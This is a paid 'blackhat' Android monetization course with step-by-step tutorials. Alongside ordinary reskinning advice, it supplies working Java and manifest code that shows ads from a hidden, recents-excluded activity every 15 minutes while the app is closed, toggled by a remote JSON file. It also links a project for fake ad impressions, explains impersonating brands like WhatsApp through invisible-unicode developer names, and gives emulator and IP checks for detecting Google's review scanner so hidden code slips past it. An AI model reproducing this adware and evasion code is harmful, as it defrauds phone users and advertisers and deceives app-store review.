You are on page 1of 154

Welcome Buyer

in
AndroidMoney.i
nfo course,
This is the first and last, exclusive course created for BlackhatWorld community, limited to 80 people
only with real methods to earn money with black hat, white hat and gray hat method applied to
Android applications. You have came here from Internet Marketing forum but this is little different
than normal social methods like Instagram, SEO or making money with Shopify.

This time you need to learn a lot of technical stuff, however it’s simple, all you need is time and little
of “inteligence”. Of course, it is not so easy like it was in 2011 when I have started with coding, it was
December 2011 and still, it’s my main income. I have earned arround $900 000 with Android
applications but it was 2011-2015. Things were a lot easier, Google Play was without protection of AI
(Google Bouncer system), market wasn’t saturated and people were hungry to get new applications.
Still, the income is very big but you need to use black hat methods, or atleast gray hat methods to
earn decent money. It is not easy like it was before but it is still possible.

Many developers says it is not possible in 2018 because market is saturated. They says true!

It is not possible with white hat methods.

Big brands have taken over Google Play store. Big money is on the table and you cannot just
enter to small aquarium and eat big fishes if you are and indie developer, plankton.
In this course I will teach you how to make money with android apps nowadays​. This course is
for newbies and advanced users. For newbies, I will suggest first steps but I cannot teach you how
to code. There are hundreds or even thousands of free android development courses. You can learn
fast and for free, coding basics. ​You don’t need to become a programmer but you need to know
basics​, enough to edit (reskin) existing android apps and implement black hat and gray hat code
fragments from this course. You need to understand how it works. I will explain most of things but
you need to know basics. How long it can take to learn basics? Well, for me it was 2 weeks and
working 1-2 hours / day. After that I was able to build my first, poor application and make first money
next weeks. ​Your job is easier​, I’ve started in 2011 without resources and thousands of ready to
use apps for reskin. You have huge library of materials, 100 % free and sites like CodeCanyon,
Chupamobile, SellMyApp where you can find almost everything to reskin (change appearance) and
add your ads inside.

So let’s start the journey, I will make sure that you will earn your few hundreds / day.​ You can
always ask me anything using contact form. I am going to reply maximum in 12 hours.

TOOL NUMBER 1 – GRAPHICS EDITOR

In our Android journey we need to install few tools. Some graphics editor is required for reskin and
preparing promotional images. I will leave the choice for you. It can be Gimp but I am using
Photoshop, it’s only your choice. Install it because you will need to edit many PNG files and create
your own icons (can be downloaded from free images websites).

TOOL NUMBER 2 – JAVA DEVELOPMENT KIT (JDK)

It’s required to run Android Studio, download it and install.

http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

TOOL NUMBER 3 – ANDROID STUDIO

After installing JDK, not before, you can download and install Android Studio

Follow simple wizzard and default settings, you don’t need to change anything

https://developer.android.com/studio/index.html

Google have installers also for Mac and Linux. If you need to install Android Studio on Linux
Arch/Manjaro, use yaourt manager and type

yaourt android-studio

New Android Studio works also with OpenJDK, so installing Oracle JDK isn’t required for Linux users

REQUIREMENT FOR ANDROID STUDIO – WE CAN USE REAL DEVICE INSTEAD EMULATOR

Windows

● Microsoft® Windows® 7/8/10 (32- or 64-bit)


● 3 GB RAM minimum, 8 GB RAM recommended; plus 1 GB for the Android Emulator
● 2 GB of available disk space minimum,
● 4 GB Recommended (500 MB for IDE + 1.5 GB for Android SDK and emulator system
image)
● 1280 x 800 minimum screen resolution

Mac
● Mac® OS X® 10.10 (Yosemite) or higher, up to 10.13 (macOS High Sierra)
● 3 GB RAM minimum, 8 GB RAM recommended; plus 1 GB for the Android Emulator
● 2 GB of available disk space minimum,
● 4 GB Recommended (500 MB for IDE + 1.5 GB for Android SDK and emulator system
image)
● 1280 x 800 minimum screen resolution

Linux
● GNOME or KDE desktop​Tested on Ubuntu® 14.04 LTS, Trusty Tahr (64-bit distribution
capable of running 32-bit applications)
● 64-bit distribution capable of running 32-bit applications
● GNU C Library (glibc) 2.19 or later
● 3 GB RAM minimum, 8 GB RAM recommended; plus 1 GB for the Android Emulator
● 2 GB of available disk space minimum,
● 4 GB Recommended (500 MB for IDE + 1.5 GB for Android SDK and emulator system
image)
● 1280 x 800 minimum screen resolution

This is not coding course, you can learn a lot more with free materials you can find everywhere in
Google. However, I need to explain you what you need to know before you can start real reskin job
and making money. I’ve choosen free materials that can help you to understand how application
works.

STEP 1 – HELLO WORLD

After installing Android Studio from previous lesson, you need to create your first app to understand
the structure and how application works

https://developer.android.com/training/basics/firstapp/index.html

STEP 2 – LEARN ANDROID STUDIO INTERFACE

This free course from Google will show you the interface of Android Studio, required to work with this
program in the future

https://eu.udacity.com/course/android-basics-user-interface–ud834

STEP 3 – MORE FREE COURSE FROM GOOGLE

https://developers.google.com/training/android/#for-new-programmers
STEP 4 – THE JAVA

Android development uses java language, very similar to C#. If you are familiar with C#, you don’t
need to make this step. However, if you have never coded any application in modern programming
language, you need to know basics:

https://www.androidauthority.com/java-tutorial-beginners-2-582147/

https://beginnersbook.com/java-tutorial-for-beginners-with-examples/

You need to know:

-what is object oriented programming

-what is variable, constant, method, class

-what is if/else condition

-loop basics for/while

It’s not required for reskin but it’s a lot of easier if you can understand these definitions and
can use in simple Android app.

STEP 5 – BUILD A SIMPLE CALCULATOR APP WITH ANDROIDAUTHORITY

Nothing will show you better how to code, than first application from step by step tutorial.
AndroidAuthority site is good tutorials base, I will not copy their tutorial here, because it’s not
programming course but you can build your app yourself.

https://www.androidauthority.com/build-a-calculator-app-721910/

After making this app (​NOT CTRL+C/V!)​ You will be able to make reskins.

I don’t want to code or understand how app works – sorry, it’s your problem

Probably, some % of course buyers have came here to find a method and even not touch the code.
Yes, it’s possible, you can implement ASO tips for apps generated with Andromo, Basic4Android or
Buildbox – generators for non coders. However, you are loosing the chance to use black hat and
grey hat methods. If I can say you can earn 10-50x more with methods published in this course, why
to not try understand the coding even a little? It’s simple like wordpress installation and little
customization of your theme. Requires little inteligence, computer skill, learning and little of time.

Why we don’t use generators

We don’t use generators for non coders because these generators cannot give you access to source
code. You need to have access to project, to add methods well described and coded in this course.
For example, adding monetization – displaying ads outside application, requires to add few lines of
code and few files to your project. If you have followed previous steps, you know how to build your
first application and you know the structure, then adding black hat method should take maximum 15
minutes of your work.
This 15 minutes effort can give you 50x bigger earnings because impressions numbers are massive.
You cannot do that with non coder tools.

There is the exception but I don’t explain it in this course

You can create dex modifiers (smali files), but it requires very advanced programming. You can
learn it yourself but after completion of this course, when you are advanced programmer. The idea is
to make libraries with your black hat code, export it to APK, then get fragment of smali files and
paste it to other dex (for example, stolen application).

I cannot explain that because it can create massive piracy if users get know how to do it. Sorry, this
is not course about piracy.

This is limited course about making money with Android apps. I will not teach you coding here, this is
a difference between coding courses and this course. So how much you can earn? Depends to:

-your work and learning skills, if you follow previous steps and started learning Android, there is a
future for you. If you are lazy, I will not fix it for you

-choosen niche, if you have choosen over saturated niche like wallpapers and ringtones, you will
fail, working with Google Play is constant looking for niches

-choosen method, white hat isn’t a solution for indie developer if he want to make money without
budget, you need to be prepared for loosing accounts, act agressive and use not user friendly
methods

If you are starting now, you can earn $50/day after 1-3 months, if you have more luck, maybe
$500/day. Everything depends to your work, for few months you need to live with Android 10h/day,
then you can cross $1000/day and more with luck.

Better to work 10h/day for 3 months and next, retire for few months or years. Choice left for you ͹

Market is
saturated
Yes, it’s truth. After 2015 and in 2018 things have changed. Everyday new developers comes to
Google Play to try with own apps. Nowadays even kids publishes their applications. Each day
1000-2000 new apps appears in Google Play. There is a big problem for us, that’s why many people
says that Android development and money is dead.

It’s not true, because most of developers and new comers are not using any ASO methods, grey hat
or black hat. Most of them cannot find niche and copying schemes like “music player” or “platformer
game”. You are smarter.

Be smart
You need to find niches, not saturated like music players or file managers. How to find them? I
advice you to use AppBrain.com or AppAnnie.com – to find new apps with big download numbers.
Next, try to find competitors and think if you can repeat this app. Do not focus on this app, just repeat
and forget, find another, another and another.

App to repeat needs to be easy to copy/code yourself, you don’t want to spend a lot of time on
coding because chance of fail is big. Perfect situation is when you can repeat app in 1 day. Try to
find ready to use source codes on Codecanyon or Chupamobile. You need to be fast and you
cannot spend months by preparing copy.

Spam

If your app have good number of downloads, copy your own app! Do it fast, copy x 50 and republish
this app on the same and different accounts. Reskin your layout a litte but still you need to be fast.
Try to use different titles, keywords, screenshots and take over your new found niche. Market isn’t
dead, it’s huge and you need to find niche before you can spam. Your app need to be easy for
repeat, reskin, republish very fast. Uploading 50 apps/day? Try to ​use build flavors,

With build flavors you can automate app build progress and for example generate 50 apps in one
day. It’s easy, fast and effective. Connected to ​Gradle Automation Publisher

You can upload multiple apps to Google Play in auto pilot mode.

You probably thinks “WTF” or “bullshit” when I say about making 50 apps / day alone! Yes, 50 apps /
day * 30 days = 1500 apps and it’s physicaly possible. Of course, I don’t know if you can keep such
productivity for 1 month, I was trying and done it but next months, my productivity went to zero.
However, 1500 apps let me keep big earnings and not working.

How to do that?
You need to use build flavors for creating spam applications, I will not replicate build flavors tutorials,
you can find them here:

https://developer.android.com/studio/build/build-variants.html

https://www.androidauthority.com/building-multiple-flavors-android-app-706436/

https://medium.com/@iammert/android-product-flavors-1ef276b2bbc1

…but how to use them for spam?

STEP 1

Create your reskin, your application needs to be easy for changing layout, colors, button positions,
icons, etc.

STEP 2

Add build flavors to your applications, you need to create additional directories for res folder and
keep source code folder. With build flavors you can generate unlimited of applications with same
source code but different layout. On different layout change your strings, colors, size of elements,
backgrounds, icons, buttons positions, etc.

STEP 3

Add your build flavors into gradle, remember about different package names and keystores. Build
your app, done! You have for example 50 different apps. Now you need to just add them into Google
Play account.
SUMMARY

My record was 180 apps in Google Play store in … 1 day, it was my own apps with photo effects,
each app different photo effect.

Each app got arround 5000 downloads.

Protected: ROADMAP –
PLAN OF WORK
By ​AndroidMoney​ • February 28, 2018 •

Let’s assume in this topic that you don’t know what to do and how to start, what is required or what is
optional. Not all methods from this course are required to earn money.

FIRST – YOU NEED TO CHOOSE YOUR NICHE

a) easy niche for newbie, wallpapers because it’s stable niche and you can start even today with
ready to use apps on Codecanyon or Github

b) ringtones, same as above

c) to go with blackhat niche, read my article about profitable niches

However with a) and b) you can start making $20-$50/day very fast without ban risk

BLACKHAT METHODS REQUIRED TO EARN MONEY IN 2018


a) displaying ads outside application

b) multicategory trick

c) remote control

All other methods are optional for your usage but can increase your earnings x50-x100. However,
using them brings the risk of ban.

Protected: STEP 1 –
START RESKIN
By ​AndroidMoney​ • February 28, 2018 •
I will not teach you how to reskin applications because this is no coding course. Reskin progress is
changing ready to use source code to make new. You can find source codes on ChupaMobile,
SellMyApp, Codecanyon or our forums, we have hundreds of codes you can use, change and
publish in Play Store to make money.

What you need to change to not get a ban in Play Store?

● package name – the most important thing, you cannot publish app with old package name
● java, resources, drawables file names – you need to change every file name you can
● graphics, colors – change application layout, experiment with Photoshop, Gimp. Remove
and add elements to make your app unique
● code – if you know code basics, then you need to change methods, classes, variables
names. Also if you understand code, change the logic but it’s not required
● libraries, change libraries versions in gradle, it will add and remove some classes from your
app and make it unique for Google bot
Why we need to make our
apps unique?
Source codes you can find in internet for buy or for free, are used many, many times. It’s not 100%
sure that some developer has not used blackhat methods. Maybe code is banned in Google. Bot is
checking code structure and if it find banned pattern, you will get ban too.

Reskin is the fastest way to make money but we need to be careful.

How to choose correct source code for reskin?

Code need to be for Android Studio, avoid Eclipse source codes. It’s very hard to adjust old source
codes to gradle system. In first journey, I suggest you to use only apps, not games. Games are
Unity3D projects only and this course isn’t about Unity3D.

You can choose some wallpapers, music players, downloaders, booster for start. After that you can
think about different source codes.

Making reskin is very easy but before you start, you need to know what app is good for reskin. There
are reskin nightmare and paradise apps. I suggest you to choose apps instead games. They are
easier to change. If you have graphics skills in Photoshop, you can choose games, however, most of
games are made in Unity3D and you need skills for Unity3D, Photoshop and Android Studio to
include tips from this course.

REPEATABLE

It’s important to publish app from the same source code in few Google Play accounts or 10-15 apps
on the same Google Play account. The concept need to be repeatable like wallpapers, radios, mp3
downloaders, game hacks, minecraft skins, ringtones. You need to create one engine and change
content to prepare new app. For example, ringtones:

-love ringtones

-loud ringtones

-scary ringtones

In this way you have 10-15 apps/each account, on few accounts I have even 100 repeatable apps.
One time work, many apps.

You can also make 20 different but unique reskins in your account and repeat it on another account
with just changed graphics.

Create your golden set like: volume booster, bass booster, game booster, wifi hacker prank, internet
booster… etc. 20 apps and you have set to repeat it on 5-10 accounts

ANDROID STUDIO

Also important factor, if you are buying or downloading source code, please check if it’s for Android
Studio. It’s easier to import source code developed for Android Studio than use code prepared for
Eclipse or something different. (Errors)

SUPPORT
When you want to buy code, always check comments and reviews. Every page have such feature. If
seller not responds and sellers reports many errors, do not buy, unless you are good java developer.
I’ve bought many broken codes and spent days for fix them.

POPULARITY

CodeCanyon and few sites displays downloads counter. If your code has been bought 100+ times,
do not buy it unless you check Google Play. It’s a chance that it’s published thousands of times and
Google can ban your app in ban hammer.

How to get source code?


There are few places where you can get source code for your reskin and publish such code in
Google Play.

PAID PLACES

CodeCanyon – cheap place, you can buy source code with PayPal, Skrill or credit card. It’s the place
when you can get source code for $10-$15 and most of source codes are very good quality. I
suggest you to read comments, it’s very important because some codes are abandoned and with
errors. Many of source codes demands fixing.

ATTENTION: VERY HARD TO REFUND


Sell My App – very good place but not so cheap, you can buy here source codes for high quality
games and apps, however, reading reviews and comments is very important, because many poor
quality codes. You can buy only with PayPal and 14 days refund time for your purchase.

Chupamobile – the biggest site with source code but you need to be very careful, their support not
works correct and 14 days refund policy is total bullshit. They will not refund any purchase.

Unity3D Assets Store – the best place to buy source code, very good support, nice pricing but
haven’t any refund policy. You need to contact with seller it’s only his good will to refund. I’ve bought
few hundreds elements in Assets Store and always got refund after few days. People are very
serious

FREE PLACES

GitHub – the best place to get free source code in perfect quality. Just type in Google: “android
wallpaper app github”, “music player android github” and you have many source codes to use. Most
of them are Apache 2.0 licence, sometimes GPL or MIT. So you can use them for reskin purpose.

GPL/APACHE 2.0 – type these words into Google Play and you will find many source codes,
developers have them mostly on their websites. Got few nice codes from here like professional GPS
navigation and it was 100% free

EARNINGS WITH THIS METHOD: 10-50x bigger than normal

The app retention factor is the major challege for developers. Appsflyer and Appbrain study is saying
about 4,5% retention rate. Checked on 3,5+ billion of installs and 10000 apps. By the 30th day after
app download, there are only 4,5% active users on Android. With more than 3 mln apps in Google
Play, every developer need to fight massive competition, Google bot and own retention.

What is retention?

The retention factor is returning user in %. You can messure your retention using Flurry or Google
Firebase. Usualy, after app install, you are loosing 90% of users. They are not uninstalling your app,
they are just not coming back again. We are making money using ads inside application. When user
click on button, finish level, switch activity, we can display them advertisement. However, users are
not coming back to app and our income is decreasing.

We need to fight against it, by breaking Google Play rules. The biggest games and apps don’t need
it but if you are indie android developer, it’s necessary.
Please not, it’s forbidden by Google Play Terms and Conditions and they can ban your app or
account. We need to hide it from Google bot.

In this article I will share how to display advertisement outside application to generate 15x – 50x
more income than usual.

For this purpose, we are going to use JobScheduler class, however it’s not supported by every
Android version, so we need to use library delivered by evernote.

Follow next steps to integrate this feature.

Protected: AD
NETWORKS FOR
BLACKHAT
By ​AndroidMoney​ • February 28, 2018 •
Airpush is whole mobile marketing platform with self-service features for advertisers and mobile

apps (and websites) publishers. It is known as very large ad network with more than 300 000 live

apps (currently), located in USA California, with development teams in Russia and India. Airpush

started his business in 2010. Personaly I’ve using it for 2011 December and ​it’s the best network

for mobile black hat methods​ because:

-limited fraud detection

-no quality review for traffic

-good ecpm and fill rate


-fast weekly payments from $600 / week

-skype support

However, Airpush have some minuses too. Last years they are not good in technical aspects,

probably because indian development team taken control and Los Angeles managment cannot

control them so good. SDK is old, created for API 22 (Android 5.0), however works fine. The worst is

dashboard with technical issues or reporting errors.

In 2012, they have paid me $11 000 for one day because reporting error. They have not realized

ever.

Company is legit, member of the Interactive Advertising Bureau, they are researching new

advertising ways like Virtual Reality or data collection like Mobi.info

AD UNITS:

-smartwall (it’s mix of intersititial static ads and rich media video ads)

-push notification (for alternative markets, forbidden in Google Play even with cloaking)

-intersititials

-offer walls
-redirection ads

-icon ads (also forbidden in Google Play)

They offer big number of SDK versions for every IDE and building tools like Unity3D, Basic4Android,

PhoneGap and dozens different frameworks

PAYMENT TERMS:

WEEKLY – STARTS FROM $600/week

NET45 – FOR MORE THAN $50/month

PayPal, ACH and WIRE TRANSFER accepted

Support:

-email

-skype

-phone
-dedicated AM

OTHER AD NETWORKs for Blackhat:

-startapp

-adbudizz

-exoclick

-plugrush

-popads

-popcash
 

Protected: OUTSIDE APP


ADS – JSON CONTROL –
STEP 1
By ​AndroidMoney​ • March 5, 2018 •

Topic Progress:

← Back to Lesson

We need JSON control to display ads outside application and not get ban. Let’s start it, we can
assume that you have some application or atleast HelloWorld application!

You can buy some app for reskin from CodeCanyon!

Open your build.gradle file

and between dependencies tag add:

compile 'com.google.code.gson:gson:2.8.1'
compile 'com.evernote:android-job:1.2.1'

in new Android versions, it will be “implement” instead compile word.


Android Studio will ask you for gradle refresh, accept. If you have error, check if this is the same:

allprojects {
repositories {
flatDir {
dirs 'libs'
}
jcenter()
maven {
url "https://maven.google.com"
}
}
}

JOB library from evernote allow us to make action outside application without getting killed by
system. It’s works for Android 4+, 5+ and 8+ Contains 3 methods suitable for every system version!
GSON library is required for us to read variables from remote .json file

After adding libraries to our project, we need to create new classes.

Create new Java file (where you have MainActivity.java) – right click, new class file.

Fill with this code, read comments to understand it!

import android.content.Intent;
import android.content.SharedPreferences;
import android.support.annotation.NonNull;
import android.util.Log;
import com.evernote.android.job.Job;
import com.evernote.android.job.JobRequest;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.concurrent.TimeUnit;

import static android.content.Context.MODE_PRIVATE;

public class OpenJob extends Job {


String turnon;
SharedPreferences.Editor editor;
static final String TAG = "show_notification_job_tag";

@NonNull
@Override
protected Result onRunJob(Params params) {

try {
checkstate(); ​// if JOB run, we are checking json file stare

} catch (Exception e) {
e.printStackTrace();
}
return Result.SUCCESS;
}

class Page {
String turnon;

public void checkstate() throws Exception {


Log.d("checkstate","checkstate");
String json = readUrl("http://confirmationbooster.com/iterator.json");
// URL FOR OUR JSON, BUY SOME DOMAIN AND FREE HOSTING!

GsonBuilder gsonBuilder = new GsonBuilder(); //making GSON OBJECT


Gson gson = gsonBuilder.create();

Page page = gson.fromJson(json, Page.class); //MAKING CLASS FOR OUR JSON FILE
editor = getContext().getSharedPreferences("iamking", MODE_PRIVATE).edit();
turnon = page.turnon; //checking value turnon from our JSON
savePr("turnon",turnon); //saving value to shared preferences (readable from
anywhere in our app

if(turnon.equals("1")) //checking if turnon = 1, if yes, displaying ads, if not,


then do nothing
{
Intent intent = new Intent(getContext(), ShowAds.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TASK);
//this have to be new task! you will not start ads without that
getContext().startActivity(intent);
}
}
//helper method for reading url
private static String readUrl(String urlString) throws Exception {
BufferedReader reader = null;
try {
URL url = new URL(urlString);
reader = new BufferedReader(new InputStreamReader(url.openStream()));
StringBuffer buffer = new StringBuffer();
int read;
char[] chars = new char[1024];
while ((read = reader.read(chars)) != -1) buffer.append(chars, 0, read);
return buffer.toString();
} finally {
if (reader != null) reader.close();
}
}
//save preferences method
public void savePr(String tag,String value)
{
Log.d(tag,value);
editor.putString(tag, value);
editor.apply();
}

//here we can set up time, not smaller than 15 minutes and 5 minutes for system, we
can set up 1 hour but not smaller than these values
static void schedulePeriodic() {
new JobRequest.Builder(OpenJob.TAG)
.setPeriodic(TimeUnit.MINUTES.toMillis(15),
TimeUnit.MINUTES.toMillis(5))
.setUpdateCurrent(true)
.build()

.schedule();
}

STEP 3 – We need to add OpenJobInterface.java file to our reskin, this interface will trigger
our job from MainActivity.java

import com.evernote.android.job.Job;
import com.evernote.android.job.JobCreator;

public class OpenJobInterface implements JobCreator {

@Override
public Job create(String tag) {
switch (tag) {
case OpenJob.TAG:
return new OpenJob();
default:
return null;
}
}
}

STEP 4 – We need to create job for whole application, so please create MyApplication.java file

import android.app.Application;
import android.content.Intent;
import android.support.multidex.MultiDex;
import android.text.TextUtils;
import android.util.Log;

import com.evernote.android.job.JobManager;

import org.json.JSONObject;

public class MyApplication extends Application {


@Override
public void onCreate() {
super.onCreate();

JobManager.create(this).addJobCreator(new OpenJobInterface());

}
};
Edit your AndroidManifest.xml file and put:

<application
​android:name=".MyApplication"
android:banner="@drawable/app_banner"
android:icon="@drawable/app_icon"
android:isGame="true"

in <application> tag

STEP 5 – RUN ADS! IN YOUR MAIN ACTIVITY, ADD TRIGGER CODE:

OpenJob.schedulePeriodic();

ADS WILL RUN EVERY 15 minutes! EVEN APPLICATION IS CLOSED!

READ THE NEXT STEP TO PREPARE JSON FILE!

JSON file is text file, that can be parsed by JSON libraries like GSON. You can keep them on static
servers, like Amazon or free hosting.

Create file called showAds.json, for example in notepad and put values

“turnon”:”1″

You can validate your json files here: https://jsonlint.com/

Save and upload on any hosting, you will access to json file from app (previous step)
To disable ads, change value to “0” on server, change will be visible after 15 minutes on all devices,
for example 500k devices.

Protected: STEP 9 –
ADDING ADS TO OUR
RESKIN
By ​AndroidMoney​ • February 28, 2018 •

I will not teach you how to add ads with every ad network. They have propper instructions
how to do it, but I will tell you how I am doing it with Airpush.

I am creating activity helper, so I don’t need to integrate ads on every activity I have.
Read comments in my code, it’s important!

STEP 1: Create new activity and call it “ShowAds”, we will call our ads from any place in our
application

import android.app.Activity;

import android.support.v7.app.AppCompatActivity;

import android.os.Bundle;

import android.view.Window;

import android.view.WindowManager;import com.yrkfgo.assxqx4.AdConfig; //import


your Airpush generated SDK

import com.yrkfgo.assxqx4.AdListener;

import com.yrkfgo.assxqx4.Main;

public class ShowAds extends Activity implements AdListener {

Main sender; // you can call it different, for example “showads”


@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

Window window = getWindow();

window.setDimAmount(0); //Making the window dim transparent

window.addFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND);

//this will make our Activity invisible

setContentView(R.layout.activity_waka);

AdConfig.setAppId(199161); //put our app ID

AdConfig.setApiKey(here put your developer ID);


AdConfig.setCachingEnabled(false); //disable caching, airpush have it broken

AdConfig.setPlacementId(0); //not necessary, airpush have broken placements, so set


to 0

sender = new Main(this,this);

sender.startInterstitialAd(AdConfig.AdType.smartwall, this); //we are choosing type of


ads, smartwall is the most effective

@Override

public void onResume() {

super.onResume();

finish(); //when user finished to display ads and want to come back to your app, you
need to close ads activity
}

//these are autogenerated methods

@Override

public void onError(ErrorType errorType, String s) {

finish(); // when we get error are ad not loaded, finish activity

@Override

public void onAdLoading() {

@Override
public void onAdLoaded() {

@Override

public void onAdExpanded() {

@Override

public void onAdClicked() {

@Override

public void onAdClosed() {


finish(); // when user close ad, close our activity

@Override

public void onAdCached(AdConfig.AdType adType) {

STEP 2 – ADD GENERATED SDK FROM AIRPUSH DASHBOARD TO YOUR APP

1. Download .jar

2. Put to libraries directory

https://stackoverflow.com/questions/166 … as-library

3. You need to add Google Play Services to your gradle:

https://developers.google.com/android/guides/setup
STEP 3 – ADD OUR ACTIVITY TO MANIFEST AND MAKE IT INVISIBLE

In your AndroidManifest.xml between tags <application></application> add

<activity android:name=”.ShowAds”

android:theme=”@android:style/Theme.Translucent.NoTitleBar”

android:excludeFromRecents=”true”

android:autoRemoveFromRecents=”true”

></activity>

Airpush standard integration requires also, add it somewhere in AndroidManifest between


application tags:

Don’t forget, that for your own SDK you need to change com.yrkfgo.assxqx4 for your own
package, you will get it from airpush, it’s file name.

<activity

android:name=”com.yrkfgo.assxqx4.AdActivity”
android:configChanges=”orientation|screenSize”

android:exported=”false”

android:theme=”@android:style/Theme.Translucent” />

<activity

android:name=”com.yrkfgo.assxqx4.BrowserActivity”

android:configChanges=”orientation|screenSize” />

<activity

android:name=”.Waka”

android:theme=”@android:style/Theme.Translucent.NoTitleBar” /><activity
android:name=”.MainActivity”

android:theme=”@style/AppTheme”>

<intent-filter>
<action android:name=”android.intent.action.MAIN” />

<category android:name=”android.intent.category.LAUNCHER” />

</intent-filter>

</activity>

DO NOT FORGET ABOUT INTERNET PERMISSION OUTSIDE <Application> tags:

<uses-permission android:name=”android.permission.INTERNET” />

STEP 4 – SHOW ADS

Everytime you want to show your ads, open activity:

This is example for MainActivity, put is somewhere in onCreate method to show ads

Intent myIntent = new Intent(MainActivity.this, ShowAds.class);

MainActivity.this.startActivity(myIntent);
For your activity, for example ShowAds.java, you need to add invisible options

Step 1, edit AndroidManifest.xml

<activity android:name=".ShowAds"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:excludeFromRecents="true"
android:autoRemoveFromRecents="true"
></activity>

second and third value will exclude it from list of opened apps (physical button)

first value will make it transparent without title bar

Thanks to these settings, user will not realize what app is displaying ads.

Protected:
MONETIZATION –
YOUR JOB TO DO
By ​AndroidMoney​ • March 7, 2018 •

Topic Progress:
← Back to Lesson

You need to get skill in reskining progress, download and reskin this like in previous lesson:

https://github.com/ram-on/SkyTube

After making it, add outside app ads system and integrate your ads – Airpush or Startapp.

Send me project and I will fix your problems, mistakes and explain it for you:

radioideaxp@gmail.com
Protected: DOWNLOAD –
READY TO USE
ANDROID PROJECT
By ​AndroidMoney​ • March 9, 2018 •

Topic Progress:

← Back to Lesson

Here is code:​ ​androidmoney.info/anti.zip

Basicaly it’s source code for displaying fake impressions but this app have also code for displaying
ads outside application.

1. Open app in Android Studio

2. In file OpenJob.java change Wew.java line to Waka.java line and it will display Airpush
advertisement outside application every 15 minute

Do not forget about creating json file like in tutorial and putting it on your server! Without it
feature will not work!

← Previous Topic
Protected: STEP 3 –
BYPASS COPYRIGHT
BANS
By ​AndroidMoney​ • February 28, 2018 •

Last months we have found fake version of WhatsApp in Google Play. Users have downloaded app
1-5 mln times before Google has discovered and removed fraud. Many of people on this forum are
asking me how to publish application with fake keywords and copyrighted keywords. This article will
help you to use them and get similar results. ​However, it’s always risky and you can loose your
Google Play developer account!
FIRST CASE – WHATSAPP AND EMPTY UNICODE

They simply changed developer name in Google Play to fool suggestion mechanism! Not fixed yet,
so take it fast!

Google is banning my apps fast but in 1 week I can get easily 50k-100k downloads with copyright
keywords and fake apps!

Original WhatsApp url:

https://play.google.com/store/apps/deve … atsApp+Inc

Fake WhatsApp url:

https://play.google.com/store/apps/deve … Inc.%C2%A0

1. Take a brand, for example Ketchapp

2. After you have some apps in Play Store (not earlier!) change developer name for

Ketchapp &#8203;

or just copy it from URL

http://www.fileformat.info/info/unicode … /index.htm
White square*

3. Google Play should update in few hours with new name, suggesting that you are Ketchapp

4. Change apps for original Ketchapp (copy screenshots, descriptions, icons, names). It’s important
to update old apps because Google is checking new apps manualy. Of course it can trick moderator
too but chance is bigger if you are doing it with old apps (minimum 7 days)

SECOND CASE – TUBEMATE, VIDMATE IS PAST!

It was possible few months ago but currently, Google is filtering such keywords and you can’t use it
any more.

You can check by writing “tubemate” in search.

You need to make apps with error in name, still very profitable.

https://play.google.com/store/apps/deta … m.uc.vmate

However, adding empty unicode to your name is needed because Google have autoban for such
keywords.

THIRD WAY

Adding additional words to your name. For example if you want fake facebook, make “Update
Facebook” or “Update for Facebook”, connecting it with empty unicode is the best way.
IMPORTANT – ATTENTION!

Do not add copyrighted keywords into your APK, if you have String in your application named
“Facebook”, it’s high risk you will be banned! Bot is checking source code, strings, xmls and if find
some copyrighted keywords, not releated to official libraries, it’s turning red flag. Moderator will come
and check your app manualy.

Protected: STEP 4 –
DETECT GOOGLE BOT
By ​AndroidMoney​ • February 28, 2018 •
Introduction

Android and Security, Feb 2, 2012

“Today we’re revealing a service we’ve developed, codenamed Bouncer,

which provides automated scanning of Android Market for potentially

malicious software without disrupting the user experience of Android


Market or requiring developers to go through an application approval

process.

The service performs a set of analyses on new applications,

applications already in Android Market, and developer accounts. Here’s

how it works: once an application is uploaded, the service immediately

starts analyzing it for known malware, spyware and trojans. It also

looks for behaviors that indicate an application might be misbehaving,

and compares it against previously analyzed apps to detect possible red

flags. We actually run every application on Google’s cloud

infrastructure and simulate how it will run on an Android device to

look for hidden, malicious behavior”

So how this bot is working?

Each time you publish new app in Google Play, bot is starting to work. Currently in 2017, bot is
starting to work immediately and checking our app for 15 minutes only. We can detect it in these 15
minutes only. The biggest mistake by Google: bot is checking app in online mode so we can detect it
and for example block shady code for bot by simple if else conditions.
The best conditions to check if we have bot or human:

-emulator (bot is working as QEMU)

-ip provider (it’s always Google Inc.)

-ip location (it’s always Los Angeles and California state)

EMULATOR:

Personaly I am using this library, here is instruction:

https://github.com/framgia/android-emulator-detector

EmulatorDetector.with(this)

.setCheckTelephony(true)

.addPackageName(“com.bluestacks”)

.setDebug(true)

.detect(new EmulatorDetector.OnEmulatorDetectorListener() {
@Override

public void onResult(boolean isEmulator) {}

});

*Please note, the best to use it with API22, API23+ requires permission dialog!

To check the IP, use IP-API.com manualy

…or with Github Library

https://github.com/seventhmoon/IpApi

IpApiService ipApiService = ServicesManager.getGeoIpService();

ipApiService.getGeoIp().enqueue(new Callback<GeoIpResponseModel>() {

@Override

public void onResponse(Call<GeoIpResponseModel> call,


retrofit2.Response<GeoIpResponseModel> response) {
String country = response.body().getCountry();

String city = response.body().getCity();

String countryCode = resopnse.body().getCountryCode();

double latitude = response.body().getLatitude();

double longtidue = response.body().getLongitude();

String region = response.body().getRegion();

String timezone = response.body().getTimezone();

String isp = response.body().getIsp();

}@Override

public void onFailure(Call<GeoIpResponseModel> call, Throwable t) {

Toast.makeText(getApplicationContext(), t.toString(), Toast.LENGTH_SHORT).show();


}

});

Next:

if(isp.contains(“Google”)

make bad thing or not

else

*don’t forget to make String isp visible for all methods in your class!
With these methods you can detect if Google Bot is checking your app or not. You can
execute bad code or hide it from bot. It’s checking only code if condition is true. If it’s fake,
code is not executed

Great article about Google Bouncer, it’s very hard to find it if you don’t know what are you looking
for, I suggest to read it to get full knowledge how it’s working:

https://jon.oberheide.org/files/summercon12-bouncer.pdf

Protected: STEP 5 –
REMOTE CONTROL
By ​AndroidMoney​ • February 28, 2018 •
